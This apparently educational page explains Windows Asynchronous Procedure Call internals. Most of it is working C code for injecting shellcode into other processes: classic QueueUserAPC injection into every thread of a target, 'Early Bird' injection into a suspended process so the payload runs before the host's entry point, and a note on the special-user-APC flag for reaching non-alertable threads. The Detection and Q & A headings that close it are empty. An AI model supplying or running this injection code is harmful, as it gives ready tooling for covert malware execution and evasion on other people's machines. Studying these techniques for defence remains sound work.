APC Injection

Asynchronous Procedure Calls — the kernel mechanism, user-mode APC injection via NtQueueApcThread, Early Bird APC for pre-EP execution, and why no new thread event fires

APC Internals

An Asynchronous Procedure Call (APC) is a function queued for execution in the context of a specific thread. The kernel maintains an APC queue per thread (actually three: kernel APC list, user APC list, and special user APC list). User-mode APCs run only when the thread is in an alertable state.

Thread states for APC delivery:

  Normal execution:
    Thread runs → APCs queued but NOT delivered
    The thread must enter an alertable wait to drain the queue

  Alertable wait:
    SleepEx(n, bAlertable=TRUE)
    WaitForSingleObjectEx(h, t, TRUE)
    WaitForMultipleObjectsEx(...)
    NtWaitForSingleObject(h, alertable=TRUE)
    SignalObjectAndWait(...)

  On wake from alertable wait:
    Kernel checks user APC queue
    Delivers queued APCs one by one (runs APC function in thread context)
    Thread resumes from the wait only after APC queue is drained

This is different from kernel APCs, which can interrupt a thread even during normal execution. User APCs are voluntary — the thread must cooperate by calling an alertable wait function.

APC Injection

// APC injection: queue shellcode as an APC to threads in the target process
// Requires PROCESS_VM_OPERATION + PROCESS_VM_WRITE + THREAD_SET_CONTEXT
BOOL InjectAPC(DWORD pid, PBYTE shellcode, SIZE_T scLen)
{
    HANDLE hProc = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION,
        FALSE, pid);
    if (!hProc) return FALSE;

    // Step 1: write shellcode to the target process
    LPVOID pRemote = VirtualAllocEx(hProc, NULL, scLen,
                                      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProc, pRemote, shellcode, scLen, NULL);

    // Step 2: enumerate threads of the target process
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { sizeof(te) };
    Thread32First(hSnap, &te);
    do {
        if (te.th32OwnerProcessID != pid) continue;

        HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
        if (!hThread) continue;

        // Step 3: queue APC to this thread
        // The APC function signature is: VOID CALLBACK ApcFunc(ULONG_PTR param)
        // We point to our shellcode; shellcode must be callable with rcx = 0
        QueueUserAPC((PAPCFUNC)pRemote, hThread, 0);
        CloseHandle(hThread);
    } while (Thread32Next(hSnap, &te));

    CloseHandle(hSnap);
    CloseHandle(hProc);
    // Payload runs when a target thread next enters an alertable wait
    return TRUE;
}

Early Bird APC Injection

Early Bird queues the APC to a newly-created suspended process's main thread before any of the process's own code has run. When the thread is resumed, the loader initializes ntdll and calls NtTestAlert (which drains the APC queue) as part of the initialization sequence — before the process's entry point. The payload runs before the host process even starts:

// Early Bird: queue APC before process entry point runs
BOOL EarlyBirdAPC(const wchar_t *hostPath, PBYTE shellcode, SIZE_T scLen)
{
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    // Step 1: create the host process SUSPENDED
    CreateProcessW(hostPath, NULL, NULL, NULL, FALSE,
                    CREATE_SUSPENDED, NULL, NULL, &si, &pi);

    // Step 2: write shellcode into the new process
    LPVOID pRemote = VirtualAllocEx(pi.hProcess, NULL, scLen,
                                      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, pRemote, shellcode, scLen, NULL);

    // Step 3: queue APC to the ONE suspended thread (the main thread)
    // This thread is alertable during loader initialization
    QueueUserAPC((PAPCFUNC)pRemote, pi.hThread, 0);

    // Step 4: resume — ntdll loader runs, calls NtTestAlert,
    // APC is dispatched, shellcode runs BEFORE host EP
    ResumeThread(pi.hThread);

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return TRUE;
}

Special User APC (NtQueueApcThreadEx)

A newer undocumented API NtQueueApcThreadEx with a "Special User APC" flag can queue an APC that is delivered even to non-alertable threads — the thread doesn't need to call an alertable wait function. This essentially gives the power of kernel APC delivery from user mode. Used by some advanced implants and post-exploitation frameworks when targeting threads that are never alertable:

// NtQueueApcThreadEx with Special APC flag (undocumented, Win10+)
typedef NTSTATUS (NTAPI *pNtQueueApcThreadEx)(
    HANDLE ThreadHandle,
    HANDLE UserApcReserveHandle,  // 0 for special APC
    PPS_APC_ROUTINE ApcRoutine,
    PVOID SystemArgument1,
    PVOID SystemArgument2,
    PVOID SystemArgument3
);

// With UserApcReserveHandle = (HANDLE)0x1 (QUEUE_USER_APC_SPECIAL_USER_APC),
// the APC is delivered without requiring alertable state.

Detection

Q & A